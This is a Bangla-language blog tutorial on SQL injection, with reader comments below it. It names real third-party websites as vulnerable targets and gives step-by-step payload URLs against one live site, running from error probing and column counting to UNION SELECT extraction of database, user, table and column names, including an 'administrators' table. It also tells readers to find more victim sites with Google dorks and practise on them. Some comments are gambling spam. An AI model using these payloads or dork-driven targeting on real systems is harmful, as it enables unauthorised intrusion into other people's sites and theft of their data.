Ad

SQL Injection Tutorial - 1 (Bangla)


SQL Injection

প্রথমেই SQLi করার জন্য আমাদের যে কোন সাইটের  vulnerable point বা  injection point লাগবে URL এর শেষে যে .php?id=3 বা  কোন  parameter থাকে ওইটাতে injection করতে হবে এখন দেখার হচ্ছে, এটা কত রকমে থাকে , এবং পাবো কিভাবে

যেভাবে পাবো,
বিভিন্ন  Dork ব্যাবহার করে, অথবা সাইটে visit করে ( dork গুলো https://www.exploit-db.com/google-hacking-database/ এই সাইট থেকে পাবেন)

আমি সব সময় একটা dork use করি

inurl:.php?id=
site:www.demo.com
or inurl:www.demo.com  id=

৭০% সময় আপনার কাজ হবে বাকি সময় যখন POST data থাকে তখন অন্য সিস্টেম করতে হবে আরও অনেক DORK  আছে, সেগুলো শুধু কপি করে google.com গিয়ে সার্চ করবেন
তাতেই আপনাকে অনেক গুলো সাইটের , ইনজেকশন পয়েন্ট সহ লিঙ্ক দিয়ে দিবে google, তবে মনে রাখবেন সব সাইটেই যে ইনজেকশন হবেই তেমন না

এবারে URL এর শেষে .php?id= এইটা কত রকমের হতে পারে তার কিছু নমুনা নিচে দিয়ে দিয়েছি,
যা যা রকমে এটা থাকে,
.php?id=45
.php?id=result
.php?rsult=student
.php?catid=3
.php?p=4
.php?id=Mw==     //(base64)
যেমন,
http://christukula.co.in/event.php?id=78
http://www.orascomci.com/index.php?id=talentprogram
http://www.sherrihill.com/content.php?id=registration
http://www.sciencedomain.org/page.php?id=reviewers-editors
http://www.esuprobhat.com/index.php?page=1&date=2015-03-14
http://www.aksimgroup.com/pDetails.php?pid=68
   
Etc
কোন সাইট SQLi vulnerable কি না এটা জানতে, তার parameter এর শেষ (এখানে  parameter value 34  যেহেতু id=34) Special Character দিতে হয় তাহলে এই  34 এর  শেষে  Special Character দিতে হবে,
যেমন , http://www.bible-history.com/subcat.php?id=2'
এই  Special Character বিভিন্ন ভাবে দিয়ে, আমরা দেখতে পারি যে, সাইট টি vulnerable কি না
Special Character
দেয়ার পর যদি, কোন error দেয় তবে মনে করবেন  site vulnerable , error বিভিন্ন রকমে দিতে পারেবেশির ভাগই লেখা আসে যে ,

[1]
Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1


or

[2]
(Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\Inetpub\vhosts\jayapriya.com\httpdocs\gallery.php on line 11)


আবার অনেক ক্ষেত্রে সাইটে পরিবর্তন আসে , যেমন কোন ছবি নাই হয়ে যায়, বা পেজ ছোট হয়ে যায় , বা সাইট এর যে কোন পরিবর্তন হয় তবে সাইট তাকে  vulnerable বলতে পারি অদ্য কথা হচ্ছে  Special Character দেয়ার পরে যদি সাইটে কোন রকম পরিবর্তন আসে তবে  sqli হতে পারে

Special character এর ধরনঃ
যেমন ,
',    "   ,   )  , '))  , ")   ,"))    ,')   ,'))  ***\  etc
http://eyot.co.in/product.php?id=37'
http://eyot.co.in/product.php?id=37')
http://eyot.co.in/product.php?id=37'))
http://eyot.co.in/product.php?id=37"
http://eyot.co.in/product.php?id=37")
http://eyot.co.in/product.php?id=37"))

এবার আমরা sql injection এর জন্য একটি ওয়েব সাইট নিলাম

আমাদের টার্গেট ওয়েব সাইটঃ http://www.bible-history.com/subcat.php?id=2

প্রথম ফায়ারফক্স hack bar নামে একটা addons আছে ওইটা ইন্সটল করে নিব এর পর hack bar টার্গেট url add করে কাজ শুরু করবো।

hack bar shortcut execute key
হল Alt+x

http://www.bible-history.com/subcat.php?id=2' (error)

কেন error show করে ? এর কারন হল single quotes একটা mysql syntax
(
এখানে single quote এর পরিবর্তে আরো অন্যান্য special character হতে পারে, যেমনঃ ) , “ , )) ,’) , \  etc

আপনি বাহিরে থেকে নতুন একটা syntax query তে ইনপুট করলেন এই করনে mysql syntax error show করে।
আমরা যদি database এর query এর কথা চিন্তা করি তবে query টা এমন হবে

Code:
 
$sql = "SELECT * FROM users(Table এর নাম) WHERE id ='$id' limit 0,1 "; 

আমাদের টার্গেট ওয়েব সাইট id=2
মানে query টা হবে

Code:

$sql = "SELECT * FROM users WHERE id ='2' limit 0,1 ";


এখন যদি আপনি নতুন একটা single quotes দেন তবে query টা এমন হবে

Code:

$sql = "SELECT * FROM users(Table
এর নাম) WHERE id ='2'' limit 0,1 ";
 
ভালো করে দেখেন যে id='2'' এখানে টা quotes আসে আর আমরা জানি quotes,bracket,html tag peer( টা ) আকারে হয় (মানে শুরু করলে শেষ করতে হবে)
এখনে টা quotes একটার কোন শেষ নাই এর জন্য database আপনাকে error show করছে।
এর পরবর্তী কাজ হচ্ছে এটাকে fix করা ,কারন আমি একটা সমসস্যা তৈরি করে এটাকে fix করে দিলাম তাতে যা  সুবিধা  হবে তা হচ্ছে, এই  fix এর পরে  ওই  query যা আছে তা  এর  execute হবে না , বা সাইত  fixed query এর পরে কি আছে না আছে  তা  নিয়ে আর মাথা ঘামাবে না
যাহোক,   চলুন দেখে নেয়া যাক Error Fixing System ,

special character
এর  পরে একটি  space দিয়ে তারপর যা যা দেয়া লাগবে Error Fix করার জন্য ,
--+, #,%23,-- -,--space, ; , %60

কখনো আবার fix করার জন্য special character তুলে দিয়ে করতে হবে এটা site দেখে করতে হয়
যেমন ,
http://www.bible-history.com/subcat.php?id=2' --+
http://www.bible-history.com/subcat.php?id=2 --+ (removed special charecter)
এটা প্রত্যেকটার ক্ষেত্রেই হতে পারে।
http://www.bible-history.com/subcat.php?id=2 %23

http://www.bible-history.com/subcat.php?id=2') --+ / # / %23 /  / -- -/ ;
এমন অনেক সাইট থাকতে পারে

আমাদের টার্গেট সাইট   (-- -)  fixed হয়ে গেছে।

Code:

http://www.bible-history.com/subcat.php?id=2 -- - no error


(error
নাই মানে query fix)

query fix
বা balance হয়ে যাবার পর আপনি parameter fixing এর মধ্যে যে query লিখবেন ওই query run হবে
http://www.bible-history.com/subcat.php?id=2 (
এখানে সব query লিখতে হবে ) -- -
আমাদের প্রথম কাজ শেষ এখন ২য় কাজ হল column count করা।
টেবিল এর columns count করার জন্য order by বা group by ব্যবহার করতে হয়। আরও একটা সিস্টেম আছে অন্য একদিন দেখাবো। তাবে সব সময় group by ব্যবহার করা ভালো কেন ভালো এইটা আপনি sqli করতে করতে নিজেই বোঝতে পারবেন যেহেতু আমরা জানিনা যে কইটা column আছে তাই (brute force attack) এর মত করে column বসাতে থাকবো আমাদের টার্গেট url group by 10 দিলাম।

Code:

http://www.bible-history.com/subcat.php?id=2 group by 10 -- -


নতুন একটা error show করছে

Query failed : Unknown column '10' in 'group statement'
এর মানে হল এখানে ১০ টা columns নাই তাই এই error show করছে। এখন ১০ এর নিচে দিবো

Code:

http://www.bible-history.com/subcat.php?id=2 group by 5 -- -


Query failed : Unknown column '5' in 'group statement'
মানে টা column নাই 

Code:

http://www.bible-history.com/subcat.php?id=2 group by 2 -- -


Query failed : Unknown column '2' in 'group statement'
মানে 2 টা column নাই 

Code:

http://www.bible-history.com/subcat.php?id=2 group by 1-- -


কোন error নাই

মানে এখানে only একটা column আছে
[ বিশেষ দ্রষ্টব্য : যদি দেখেন আপনার  order by 1 error থাকে , কিংবা  order by 1,2,3,4,5,6,7.************************.100.******************
(
মানে  unlimited )   এতেও  error আসে না ********* তবে বুঝে নিতে হবে  আপনার Error fix হয়  নাই ]

এখন টা column এর জন্য
union select 1
দিব যদি আরও বেশি columns হয় তবে union select 1,2,3,4 এমন করে যত column হবে সব দিতে হবে।
union select
সহ আমাদের টার্গেট url

Code:

http://www.bible-history.com/subcat.php?id=2 union select 1 -- -

union select 1
দেয়ার পর ওয়েব পেজ 1 দেখা যায় অনেক সময় শুধু union select 1 দিলে কোন কিছু দেখা যাবে না(মানে ওয়েব পেজ যা ছিল তাই থাকে) এর জন্য id বা যে কোন parameter এর condition null,false বা এমন একটা সংখ্যা দিতে হবে যা database নাই (যেহেতু আমরা জানিনা যে database কি পরিমান ডাটা আছে সেহেতু এইটা use না করা ভাল) তাই সব সময় condition null বা false করব। সব থেকেভালো উপায় হলো id বা parameter কে negative value করে দেয়া
যেমন id=10

এইটা হবে id=-10 union select 1 -- - (negative value)
অথবা id=10 and null union select 1 -- - null value
অথবা id=10 and false union select 1 -- - condition false
অথবা id=10 and 0 union select 1 -- -(and 0 মানে false এর and 1 মানে true)
এইসব করার পর ওয়েব পেজ আপনার union select এর যা number আছে এর কিছু বা সব show করবে।
যেটা show করবে ওইটা হল vulnerable columns
এখন এই columns আপনের ইচ্ছা মত সব show করতে পারবেন।
যেমন,
নিজের নাম ('Anonymous')
Database()
এর নাম |
version()
user()
table
এর নাম |
table
যত columns আছে সব column এর নাম |
আরও অনেক কিছু
এখন আমারা নিজের নাম show করব।

Code:

http://www.bible-history.com/subcat.php?id=2 union select Aonymous -- -


but
একটা error show করছে এর কারন হল plain text run করে নাই , তাই এই text কে string আকারে দিতে হবে টা single quotes এর মধ্যে যা থাকে টা string
'Anonymous'

Code:

http://www.bible-history.com/subcat.php?id=2 union select 'Anonymous' -- -


অনেক সময় single quotes এর জন্য error হয় তাই নামটা কে hex করে দিবো
Anonymous
এর হেক্স = 416e6f6e796d6f7573
hex value
এর সাথে 0x যোগ করতে হয়।
0x416e6f6e796d6f7573

Code:

http://www.bible-history.com/subcat.php?id=2 union select 0x416e6f6e796d6f7573 -- -


এখন দেখেন এর জায়গায় Anonymous লেখা show করেছে
এখন এক এক করে সব show করব

Code:

http://www.bible-history.com/subcat.php?id=2 union select database() -- -


database
এর নামে show হল

Code:

http://www.bible-history.com/subcat.php?id=2 union select version() -- -


এর ভার্সন নাম show হল

Code:

http://www.bible-history.com/subcat.php?id=2 union select user() -- -


database user
এর নাম
কিন্তু একটা প্রবলেম সব আলাদা আলাদা ভাবে শো হইছে কিন্তু এক সাথে শো করতে হবে এর জন্য একটা function use করবো, এর নাম concat()
concat() function
এর কাজ হল সব এক সাথে যোগ করা

Code:

http://www.bible-history.com/subcat.php?id=2 union select concat(0x416e6f6e796d6f7573,database(),version(),user()) -- -


এখন সব এক সাথে show করছে কিন্তু কোনটা কি ঠিক করে বোঝা যাচ্ছে না, তাই আমরা html tag use করবো
যেমনঃ - <br>
<br>
এর হেক্স করতে হবে
<br> hex = 0x3c62723e

Code:

http://www.bible-history.com/subcat.php?id=2 union select concat(0x416e6f6e796d6f7573,0x3c62723e,database(),0x3c62723e,version(),0x3c62723e,user()) -- -
এতক্ষন আমরা (নাম, database(),version(),user()) ইত্যাদি বের করা শিখেছি  এখন Table columns কিভাবে বের করতে হয় সেটা শিখবো

একটি ভুলনারেবল এস,কিউ,এল,আই সাইট হতে Table_name বের করতে হলে আমাদের যে জিনিস গুলো জানা থাকতে হবে সেটা হলোঃ

query
টা ভাল করে দেখেন

id=2 div 0 UnIoN SeLect (table_name),4 from information_Schema.tables where table_Schema= database() limit 0,1 --+

1  
নাম্বার column যদি  vulnerable হয়  তাবে ওইটার মধ্যে table এর  name show করবো।

table_name (মানে টেবিল এর নাম)
এবং কোথায় আছে সেটার লোকেশন জানতে আমরা ইউজ করবো from
information_Schema(default database) এর কি লাগবে? table এর নাম মানে information_Schema.table এখন প্রবলেম হল information_Schema table তো অনেক টেবিল আসে কিন্তু আমার লাগবে  session database বা  default database এর  table তাই
where table_Schema=database() use করা হয়েছে

এখন একটা টেবিল দেখতে পাবেন এখন limit change করে এক এক করে টেবিল দেখতে পাবেন কিন্তু এটা একটা প্রবলেম তাই সব এক সাথে show করতে group_COncat function use করবো। এই function সব টেবিল কে এক সাথে করে show করবে তখন এর limit দিতে হবে না

id=2 div 0 UnIoN SeLect group_Concat(table_name) from information_Schema.tables where table_Schema= database()  --+

সব টেবিল এর মাঝে একটা space বা  bracket দিতে হবে তাহলে টেবিল ভাল করে দেখা যাবে

 http://www.bible-history.com/subcat.php?id=2 div  0  UniOn SeLect 1,GrOuP_ConCat(database(),'<br> ',version(),'<br> ',User,'<br>',GroUp_CoCat(Table_Name+'<br>')),3,4 frOm InforMation_Schema.Tables Where Table_Schema=database() --+

সব টেবিল show হয়েছে

এবার চলুন দেখে নিয়া যাক কিভাবে এস,কিউ,এল ইন্জেকশন এর সাহায্য়ে ডাটাবেজ হতে Column_name বের করা যায় :
group_Concat(table_name) replaced
করে  GrOup_COnCat(CoLumn_Name)
অর্থাৎ ,
group_Concat(table_name)
মুছে দিয়ে group_Concat(COlumn_name) লিখতে হবে,

Information_Schema.tables replaced
করে  information_Schema.columns

table_Schema=database() replaced
করে  table_name='যে কোন টেবিল এর নাম বা আপনি যে টেবিল এর column বের করতে চান ওইটা দিবেন '

মনে রাখতে হবে, টেবিল এর নামের দুপাশে Single quot দিতে হবে অথবা এর  hex code দিতে হবে মনে করি , আমরা যে টেবিল এর  columns  বের করতে চাচ্ছি , সেই table নাম, administrators
তাহলে ,
URL
যা দাঁড়ালো ,
http://www.bible-history.com/subcat.php?id=2 UniOn SeLect GrOuP_ConCat(CoLumn_Name) frOm InforMation_Schema.CoLumns Where Table_Name='administrators' --+   //
এখানে টেবিল এর নাম  administrators 


এবার এই টেবিলের ভিতর যা যা কলাম ছিল সব show করেছে। অন্য কোনো টেবিল এর নাম দিয়েও আপানারা করে দেখতে পারেন। এর পরবর্তী কাজ হলো কলামের ভিতরের ডাটাগুলো বের করা । আপাদত এতটুকু খুব ভালো করে শিখে রাখুন। কাজে দিবে। আর প্র্যাক্টিস করতে হবে। নিজে নিজে ডর্ক দিয়ে কিছু সাইট বের করে চেষ্টা করে দেখুন। এতে আপনি পারেন বা না পারেন কোনো সমস্যা নাই। আপনার স্কিল এবং ধৈর্য কিছু হলেও বৃদ্ধি পাবে যা পরবর্তীতে কাজে লাগবে।

আজ এ পর্যন্তই। আমি এখনো sqli তেমন ভালো পারি না। যা জানি শেয়ার করলাম কোন ভুল হলে ক্ষমা করে দিবেন বা কমেন্ট করে ভুল ধরিয়ে দিবেন
আশা করি কেউ  জ্ঞান খারাপ কাজ use করবেন না আর পরবর্তী টিউটোরিয়ালের জন্য আমাদের সাথেই থাকুন।

 
কষ্ট করে পড়ার জন্য ধন্যবাদ





SQL Injection Tutorial - 1 (Bangla) SQL Injection Tutorial - 1 (Bangla) Reviewed by Anonymous on June 26, 2017 Rating: 5

7 comments:

  1. We absolutely love your blog and find the majority of your post's to be precisely what I'm looking for. Do you offer guest writers to write content in your case? I wouldn't mind publishing a post or elaborating on a few of the subjects you write regarding here. Again, awesome web site!

    ReplyDelete
  2. Vi apnr sathe ki vbe jogajog krbo...please nmbr ta jdi diten

    ReplyDelete
  3. আপনার মনে কি এই প্রশ্ন আছে যে কোন গেম খেলে টাকা আয় করা যায়? জুয়া খেলে টাকা আয় অথবা কীভাবে অনলাইনে গেম খেলে টাকা আয়? আপনার মনের সকল প্রশ্নের উত্তর পেয়ে যাবেন আমাদের এই পোষ্ট এ। এখান থেকে শিখতে পারবেন কীভাবে জাভা গেম খেলে টাকা আয় করা যায়। তো ফটফট দেখে নিন আর টাকা ইনকাম শুরু করে দিন।এখান থেকে শিখতে পারবেন কীভাবে জাভা গেম খেলে টাকা আয় করা যায়। তো ফটফট দেখে নিন আর টাকা ইনকাম শুরু করে দিন।এখান থেকে শিখতে পারবেন কীভাবে জাভা গেম খেলে টাকা আয় করা যায়। তো ফটফট দেখে নিন আর টাকা ইনকাম শুরু করে দিন।

    ReplyDelete

Powered by Blogger.